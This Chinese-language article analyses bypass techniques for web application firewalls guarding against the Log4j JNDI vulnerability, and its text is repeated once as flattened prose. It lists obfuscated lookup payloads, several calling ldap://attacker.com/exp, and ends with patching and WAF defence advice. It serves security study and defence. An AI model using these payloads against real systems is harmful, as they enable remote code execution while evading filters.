Log4j WAF Bypass 技巧详细分析+总结
字数 875 2025-08-29 08:29:58

Log4j WAF Bypass 技巧详细分析与总结

前言

Log4j漏洞(CVE-2021-44228)虽然是一个历史漏洞,但其WAF绕过技术仍然具有重要的研究价值。这个"核弹级"漏洞在没有完善防护的情况下,仍存在多种绕过手法值得探索。

漏洞原理分析

关键组件

  1. MessagePatternConverter:负责处理输入数据的转换器
  2. JndiLookup:实现JNDI功能的类,包含远程类加载的核心逻辑

漏洞触发流程

  1. 输入数据经过多个转换器处理
  2. 系统识别特殊标识符(如jndi{}
  3. substitute方法中提取并处理这些标识符
  4. 通过resolveVariable方法解析变量
  5. 最终调用JndiLookup.lookup()实现远程类加载

常见WAF防护方法

大多数WAF会拦截包含以下关键字符的请求:

  • jndi
  • ladp
  • rmi
  • http等协议标识

WAF绕过技巧

1. 环境变量绕过

利用Log4j的环境变量查找功能:

${env:NOT_EXIST:-j}${env:NOT_EXIST:-n}${env:NOT_EXIST:-d}${env:NOT_EXIST:-i}:...

原理:

  • 当环境变量不存在时返回默认值
  • 通过多个不存在的环境变量拼接出jndi等关键词

2. 大小写变形

  • 全大写绕过

    ${${upper:jndi}:ldap://attacker.com/exp}
    
  • 部分大写

    ${jN${lower:d}i:ldap://attacker.com/exp}
    

注意:

  • ldap协议名必须小写
  • 某些WAF对Unicode大写字符识别不完善

3. 前置符干扰

在关键词中插入无效字符:

${jnd${::-i}:ldap://attacker.com/exp}
${${::-j}${::-n}${::-d}${::-i}:...}

原理:

  • WAF无法识别带干扰符的标签
  • Log4j会忽略无效字符并正确解析

4. 系统属性绕过

利用sys:查找系统属性:

${sys:NOT_EXIST:-j}${sys:NOT_EXIST:-n}${sys:NOT_EXIST:-d}${sys:NOT_EXIST:-i}:...

5. 日期标签绕过

利用date:标签构造payload:

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:...}

防御建议

  1. 升级至Log4j 2.17.0及以上版本
  2. 设置log4j2.formatMsgNoLookups=true
  3. 实施多层WAF规则:
    • 拦截各种大小写变形
    • 检测环境变量和系统属性滥用
    • 监控异常DNS查询和LDAP请求
  4. 限制出站网络连接

总结

Log4j漏洞的WAF绕过技术主要利用:

  1. Log4j强大的变量解析功能
  2. WAF规则与Log4j解析逻辑的差异
  3. 多种上下文查找机制的滥用

防御需要结合补丁更新、规则优化和网络监控等多重措施。

Log4j WAF Bypass 技巧详细分析与总结 前言 Log4j漏洞(CVE-2021-44228)虽然是一个历史漏洞,但其WAF绕过技术仍然具有重要的研究价值。这个"核弹级"漏洞在没有完善防护的情况下,仍存在多种绕过手法值得探索。 漏洞原理分析 关键组件 MessagePatternConverter :负责处理输入数据的转换器 JndiLookup :实现JNDI功能的类,包含远程类加载的核心逻辑 漏洞触发流程 输入数据经过多个转换器处理 系统识别特殊标识符(如 jndi 、 {} ) 在 substitute 方法中提取并处理这些标识符 通过 resolveVariable 方法解析变量 最终调用 JndiLookup.lookup() 实现远程类加载 常见WAF防护方法 大多数WAF会拦截包含以下关键字符的请求: jndi ladp rmi http 等协议标识 WAF绕过技巧 1. 环境变量绕过 利用Log4j的环境变量查找功能: 原理: 当环境变量不存在时返回默认值 通过多个不存在的环境变量拼接出 jndi 等关键词 2. 大小写变形 全大写绕过 : 部分大写 : 注意: ldap 协议名必须小写 某些WAF对Unicode大写字符识别不完善 3. 前置符干扰 在关键词中插入无效字符: 原理: WAF无法识别带干扰符的标签 Log4j会忽略无效字符并正确解析 4. 系统属性绕过 利用 sys: 查找系统属性: 5. 日期标签绕过 利用 date: 标签构造payload: 防御建议 升级至Log4j 2.17.0及以上版本 设置 log4j2.formatMsgNoLookups=true 实施多层WAF规则: 拦截各种大小写变形 检测环境变量和系统属性滥用 监控异常DNS查询和LDAP请求 限制出站网络连接 总结 Log4j漏洞的WAF绕过技术主要利用: Log4j强大的变量解析功能 WAF规则与Log4j解析逻辑的差异 多种上下文查找机制的滥用 防御需要结合补丁更新、规则优化和网络监控等多重措施。